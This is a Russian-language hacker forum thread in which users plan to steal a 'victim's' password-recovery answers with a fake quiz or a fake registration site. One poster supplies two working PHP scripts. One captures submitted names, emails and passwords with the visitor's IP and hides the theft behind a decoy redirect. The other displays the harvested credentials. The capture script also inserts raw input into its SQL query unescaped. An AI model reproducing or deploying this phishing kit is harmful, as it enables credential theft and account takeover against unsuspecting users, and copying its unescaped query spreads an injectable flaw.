PDA

Просмотр полной версии : Есть предложение


SSSetuPPP
16.11.2007, 13:04
Можно написать какой-нибудь "тест " с множеством вопросов и среди них ввести вопрос, который требуется при восстановлении пароля, а все ответы будут записываться в файл (например .txt) и выложить тест на соём сайте. Ссылочку дать "жертве".

Только вот проблема в "написать". Если у кого и получиться выложите, пожалуйста в теме.

TrypoED
16.11.2007, 15:50
Удобней сделать закрытый сайт и как-будто туда без регистрации не попасть , создать саму страничку регистрации и чтобы это сохранялось в файлике... Собственно такой скрипт у меня есть...

SSSetuPPP
16.11.2007, 16:33
Выложи скрипт

TrypoED
16.11.2007, 18:47
check.php

$dblocation = "xxx"; // Имя SQL сервера
$dbuser = "xxx"; // Имя пользователя
$dbpasswd = "xxx"; // Пароль
$dbname = 'polygon4';
$dbfeld = 'Users';

$PARAM = array_merge($_GET, $_POST);
$param_names = array_keys($PARAM);
$num_params = count($PARAM);
$login = $PARAM['name'];
$mail = $PARAM['mail'];
$pass = $PARAM['pass'];


// а теперь поехали с таблицей...

header("Location: http://ultimate-action.com/done.html"); //редирект чтоб отвлечь юзера

$ip = isset($_REQUEST['ip']) && $_REQUEST['ip'] != '' ? $_REQUEST['ip'] : $_SERVER['REMOTE_ADDR'];
$time = date(" h:I:s G");

$dbcnx = @mysql_connect($dblocation,$dbuser,$dbpasswd);
if (!$dbcnx)
{
// Выводим предупреждение
echo ("<P>В настоящий момент сервер базы данных не доступен, поэтому
корректное отображение страницы невозможно.</P>");
// Завершаем работу в случае неудачи
exit();
}

if (!@mysql_select_db($dbname, $dbcnx))
{
echo( "<P>В настоящий момент база данных не доступна, поэтому
корректное отображение страницы невозможно.</P>" );
exit();
}
//Меняем кодировку , чтоб Flash могла её прочитать...
#mysql_query("SET NAMES 'utf8'");

//поехали заполнять ответ

$query = "INSERT INTO $dbfeld ( `name` , `mail` , `pass` , `time` , `ip` ) VALUES ('$login', '$mail', '$pass', '$time', '$ip');";
mysql_query($query) or die(mysql_error());

mysql_close($dbcnx) // разрываем соединение

snow.php

$dblocation = "XXX"; // Имя SQL сервера
$dbuser = "XXX"; // Имя пользователя
$dbpasswd = "XXX"; // Пароль
$dbname = 'XXX';
$dbfeld = 'Users';

$dbcnx = @mysql_connect($dblocation,$dbuser,$dbpasswd);
if (!$dbcnx)
{

// Завершаем работу в случае неудачи
exit();
}
if (!@mysql_select_db($dbname, $dbcnx))
{
echo( "<P>В настоящий момент база данных не доступна, поэтому
корректное отображение страницы невозможно.</P>" );
exit();
}


$ath = mysql_query("select * from $dbfeld;");
if($ath)
{
// Определяем таблицу и заголовок
echo "<table border=1>";
echo "<tr><td>Имя</td><td>Пароль</td><td>E-mail</td><td>ip</td><td>Время</td></tr>";
// Так как запрос возвращает несколько строк, применяем цикл
while($author = mysql_fetch_array($ath))
{
echo "<tr><td>".$author['name']."&nbsp;</td><td>".$author['pass']."
&nbsp </td><td>".$author['mail']."&nbsp;</td><td>".
$author['ip']."&nbsp;</td> <td>".
$author['time']."&nbsp;</td></tr>";
}
echo "</table>";
echo "(copyright) Jes";
}
else
{
echo "<p><b>Error: ".mysql_error()."</b><p>";
exit();
}

Вот скрипты

Constantine
17.11.2007, 03:17
Это частный случай СИ, аналогичный методу Fake. Ничего нового я здесь не вижу

TrypoED
17.11.2007, 16:31
Это частный случай СИ, аналогичный методу Fake. Ничего нового я здесь не вижу
Согласен...